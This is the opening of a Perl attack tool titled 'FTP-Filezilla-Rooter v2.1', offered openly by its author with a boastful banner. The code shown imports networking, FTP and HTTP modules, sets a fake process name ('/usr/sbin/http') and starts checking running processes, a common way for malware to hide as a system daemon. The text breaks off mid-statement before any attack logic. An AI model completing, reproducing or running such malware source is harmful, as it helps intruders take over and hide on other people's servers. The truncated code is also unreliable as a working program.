FTP-Filezilla-Rooter v2.1 by Bloodman

#!/usr/bin/perl
##############################################################################################################
################ FTP-Filezilla-Rooter v2.1 by Bloodman  ######################################################
################          Released: 25/02/13            ######################################################
##############################################################################################################
################ HAHA SOURCE IS READY NOW :) IF YOU HAVE IT BE HAPPY IF NOT U ARE JUST LAMING ################
##############################################################################################################
##############################################################################################################
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
use Net::FTP;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use LWP::Simple;
use LWP 5.64;
use LWP::UserAgent;
my $processo = '/usr/sbin/http';
if (`ps uxw` =~ /httpKATKA/)